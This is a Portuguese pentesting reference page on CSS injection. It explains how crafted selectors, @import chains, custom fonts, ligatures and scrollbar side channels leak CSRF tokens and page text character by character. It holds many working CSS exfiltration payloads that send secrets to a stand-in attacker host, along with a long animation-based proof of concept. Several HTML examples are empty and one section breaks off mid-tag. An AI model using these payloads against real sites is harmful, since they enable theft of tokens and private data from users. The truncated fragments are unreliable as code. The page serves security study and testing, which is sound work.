# CSS Injection
{{#include ../../../banners/hacktricks-training.md}}
## CSS Injection
### Seletor de Atributo
Os seletores CSS são elaborados para corresponder aos valores dos atributos `name` e `value` de um elemento `input`. Se o atributo value do elemento de entrada começar com um caractere específico, um recurso externo pré-definido é carregado:
```css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
```
No entanto, essa abordagem enfrenta uma limitação ao lidar com elementos de entrada ocultos (`type="hidden"`) porque elementos ocultos não carregam fundos.
#### Bypass para Elementos Ocultos
Para contornar essa limitação, você pode direcionar um elemento irmão subsequente usando o combinador de irmãos gerais `~`. A regra CSS então se aplica a todos os irmãos que seguem o elemento de entrada oculto, fazendo com que a imagem de fundo seja carregada:
```css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
Um exemplo prático de exploração dessa técnica é detalhado no trecho de código fornecido. Você pode visualizá-lo [aqui](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
#### Pré-requisitos para Injeção de CSS
Para que a técnica de Injeção de CSS seja eficaz, certas condições devem ser atendidas:
1. **Comprimento do Payload**: O vetor de injeção de CSS deve suportar payloads suficientemente longos para acomodar os seletores elaborados.
2. **Reavaliação de CSS**: Você deve ter a capacidade de emoldurar a página, o que é necessário para acionar a reavaliação do CSS com payloads recém-gerados.
3. **Recursos Externos**: A técnica assume a capacidade de usar imagens hospedadas externamente. Isso pode ser restrito pela Política de Segurança de Conteúdo (CSP) do site.
### Seletor de Atributo Cego
Como [**explicado neste post**](https://portswigger.net/research/blind-css-exfiltration), é possível combinar os seletores **`:has`** e **`:not`** para identificar conteúdo mesmo de elementos cegos. Isso é muito útil quando você não tem ideia do que está dentro da página da web que carrega a injeção de CSS.\
Também é possível usar esses seletores para extrair informações de vários blocos do mesmo tipo, como em:
```html
```
Combinando isso com a seguinte técnica de **@import**, é possível exfiltrar uma grande quantidade de **info usando injeção CSS de páginas cegas com** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
A técnica anterior tem algumas desvantagens, verifique os pré-requisitos. Você precisa ser capaz de **enviar vários links para a vítima**, ou precisa ser capaz de **iframe a página vulnerável à injeção CSS**.
No entanto, há outra técnica inteligente que usa **CSS `@import`** para melhorar a qualidade da técnica.
Isso foi mostrado pela primeira vez por [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) e funciona assim:
Em vez de carregar a mesma página repetidamente com dezenas de diferentes payloads a cada vez (como na anterior), vamos **carregar a página apenas uma vez e apenas com um import para o servidor do atacante** (este é o payload a ser enviado para a vítima):
```css
@import url("//attacker.com:5001/start?");
```
1. A importação vai **receber algum script CSS** dos atacantes e o **navegador irá carregá-lo**.
2. A primeira parte do script CSS que o atacante enviará é **outra `@import` para o servidor dos atacantes novamente.**
1. O servidor dos atacantes não responderá a esta solicitação ainda, pois queremos vazar alguns caracteres e então responder a esta importação com a carga útil para vazar os próximos.
3. A segunda e maior parte da carga útil será um **payload de vazamento de seletor de atributo**
1. Isso enviará ao servidor dos atacantes o **primeiro caractere do segredo e o último**
4. Uma vez que o servidor dos atacantes tenha recebido o **primeiro e último caractere do segredo**, ele **responderá à importação solicitada no passo 2**.
1. A resposta será exatamente a mesma que os **passos 2, 3 e 4**, mas desta vez tentará **encontrar o segundo caractere do segredo e depois o penúltimo**.
O atacante **seguirá esse loop até conseguir vazar completamente o segredo**.
Você pode encontrar o [**código original de Pepe Vila para explorar isso aqui**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou você pode encontrar quase o [**mesmo código, mas comentado aqui**.](#css-injection)
> [!NOTE]
> O script tentará descobrir 2 caracteres a cada vez (do início e do fim) porque o seletor de atributo permite fazer coisas como:
>
> ```css
> /* value^= para corresponder ao início do valor*/
> input[value^="0"] {
> --s0: url(http://localhost:5001/leak?pre=0);
> }
>
> /* value$= para corresponder ao final do valor*/
> input[value$="f"] {
> --e0: url(http://localhost:5001/leak?post=f);
> }
> ```
>
> Isso permite que o script vaze o segredo mais rapidamente.
> [!WARNING]
> Às vezes, o script **não detecta corretamente que o prefixo + sufixo descoberto já é a flag completa** e continuará para frente (no prefixo) e para trás (no sufixo) e em algum momento ficará travado.\
> Não se preocupe, apenas verifique a **saída** porque **você pode ver a flag lá**.
### Outros seletores
Outras maneiras de acessar partes do DOM com **seletores CSS**:
- **`.class-to-search:nth-child(2)`**: Isso irá buscar o segundo item com a classe "class-to-search" no DOM.
- **`:empty`** seletor: Usado por exemplo em [**este writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
```css
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
```
### XS-Search baseado em erro
**Referência:** [Ataque baseado em CSS: Abusando unicode-range de @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [PoC de XS-Search baseado em erro por @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
A intenção geral é **usar uma fonte personalizada de um endpoint controlado** e garantir que **o texto (neste caso, 'A') seja exibido com esta fonte apenas se o recurso especificado (`favicon.ico`) não puder ser carregado**.
```html
```
1. **Uso de Fonte Personalizada**:
- Uma fonte personalizada é definida usando a regra `@font-face` dentro de uma tag `
AB
htm
```
Quando você acessa esta página, o Chrome e o Firefox buscam "?A" e "?B" porque o nó de texto de sensitive-information contém os caracteres "A" e "B". Mas o Chrome e o Firefox não buscam "?C" porque não contém "C". Isso significa que conseguimos ler "A" e "B".
### Exfiltração de nó de texto (I): ligaduras
**Referência:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
A técnica descrita envolve a extração de texto de um nó explorando ligaduras de fonte e monitorando mudanças na largura. O processo envolve várias etapas:
1. **Criação de Fontes Personalizadas**:
- Fontes SVG são criadas com glifos que têm um atributo `horiz-adv-x`, que define uma largura grande para um glifo representando uma sequência de dois caracteres.
- Exemplo de glifo SVG: ``, onde "XY" denota uma sequência de dois caracteres.
- Essas fontes são então convertidas para o formato woff usando fontforge.
2. **Detecção de Mudanças de Largura**:
- CSS é usado para garantir que o texto não quebre (`white-space: nowrap`) e para personalizar o estilo da barra de rolagem.
- A aparição de uma barra de rolagem horizontal, estilizada de forma distinta, atua como um indicador (oráculo) de que uma ligadura específica, e portanto uma sequência de caracteres específica, está presente no texto.
- O CSS envolvido:
```css
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
```
3. **Processo de Exploração**:
- **Passo 1**: Fontes são criadas para pares de caracteres com largura substancial.
- **Passo 2**: Um truque baseado em barra de rolagem é empregado para detectar quando o glifo de grande largura (ligadura para um par de caracteres) é renderizado, indicando a presença da sequência de caracteres.
- **Passo 3**: Ao detectar uma ligadura, novos glifos representando sequências de três caracteres são gerados, incorporando o par detectado e adicionando um caractere anterior ou posterior.
- **Passo 4**: A detecção da ligadura de três caracteres é realizada.
- **Passo 5**: O processo se repete, revelando progressivamente todo o texto.
4. **Otimização**:
- O método de inicialização atual usando `
**Referência:** [PoC usando Comic Sans por @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Esse truque foi lançado neste [**thread do Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). O charset usado em um nó de texto pode ser vazado **usando as fontes padrão** instaladas no navegador: nenhuma fonte externa -ou personalizada- é necessária.
O conceito gira em torno da utilização de uma animação para expandir gradualmente a largura de um `div`, permitindo que um caractere de cada vez transite da parte 'sufixo' do texto para a parte 'prefixo'. Esse processo efetivamente divide o texto em duas seções:
1. **Prefixo**: A linha inicial.
2. **Sufixo**: A(s) linha(s) subsequente(s).
As etapas de transição dos caracteres apareceriam da seguinte forma:
**C**\
ADB
**CA**\
DB
**CAD**\
B
**CADB**
Durante essa transição, o **truque unicode-range** é empregado para identificar cada novo caractere à medida que se junta ao prefixo. Isso é alcançado mudando a fonte para Comic Sans, que é notavelmente mais alta do que a fonte padrão, acionando assim uma barra de rolagem vertical. A aparição dessa barra de rolagem revela indiretamente a presença de um novo caractere no prefixo.
Embora esse método permita a detecção de caracteres únicos à medida que aparecem, ele não especifica qual caractere está sendo repetido, apenas que uma repetição ocorreu.
> [!NOTE]
> Basicamente, o **unicode-range é usado para detectar um char**, mas como não queremos carregar uma fonte externa, precisamos encontrar outra maneira.\
> Quando o **char** é **encontrado**, ele é **dado** a fonte **Comic Sans** pré-instalada, que **torna** o char **maior** e **aciona uma barra de rolagem** que irá **vazar o char encontrado**.
Verifique o código extraído do PoC:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### Exfiltração de nó de texto (III): vazando o charset com uma fonte padrão ao ocultar elementos (não requerendo ativos externos)
**Referência:** Isso é mencionado como [uma solução malsucedida neste relatório](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Este caso é muito semelhante ao anterior, no entanto, neste caso o objetivo de fazer **chars específicos maiores que outros é ocultar algo** como um botão para não ser pressionado pelo bot ou uma imagem que não será carregada. Assim, poderíamos medir a ação (ou a falta da ação) e saber se um char específico está presente dentro do texto.
### Exfiltração de nó de texto (III): vazando o charset por tempo de cache (não requerendo ativos externos)
**Referência:** Isso é mencionado como [uma solução malsucedida neste relatório](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Neste caso, poderíamos tentar vazar se um char está no texto carregando uma fonte falsa da mesma origem:
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Se houver uma correspondência, a **fonte será carregada de `/static/bootstrap.min.css?q=1`**. Embora não carregue com sucesso, o **navegador deve armazená-la em cache**, e mesmo que não haja cache, existe um mecanismo de **304 not modified**, então a **resposta deve ser mais rápida** do que outras coisas.
No entanto, se a diferença de tempo da resposta em cache em relação à não em cache não for grande o suficiente, isso não será útil. Por exemplo, o autor mencionou: No entanto, após testar, descobri que o primeiro problema é que a velocidade não é muito diferente, e o segundo problema é que o bot usa a flag `disk-cache-size=1`, o que é realmente atencioso.
### Exfiltração de nó de texto (III): vazando o charset ao carregar centenas de "fontes" locais (não requerendo ativos externos)
**Referência:** Isso é mencionado como [uma solução malsucedida neste relatório](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Neste caso, você pode indicar **CSS para carregar centenas de fontes falsas** da mesma origem quando uma correspondência ocorre. Dessa forma, você pode **medir o tempo** que leva e descobrir se um caractere aparece ou não com algo como:
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
```
E o código do bot é assim:
```python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
Então, se a fonte não corresponder, o tempo de resposta ao visitar o bot deve ser de aproximadamente 30 segundos. No entanto, se houver uma correspondência de fonte, várias solicitações serão enviadas para recuperar a fonte, causando atividade contínua na rede. Como resultado, levará mais tempo para satisfazer a condição de parada e receber a resposta. Portanto, o tempo de resposta pode ser usado como um indicador para determinar se há uma correspondência de fonte.
## Referências
- [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
- [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
- [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
{{#include ../../../banners/hacktricks-training.md}}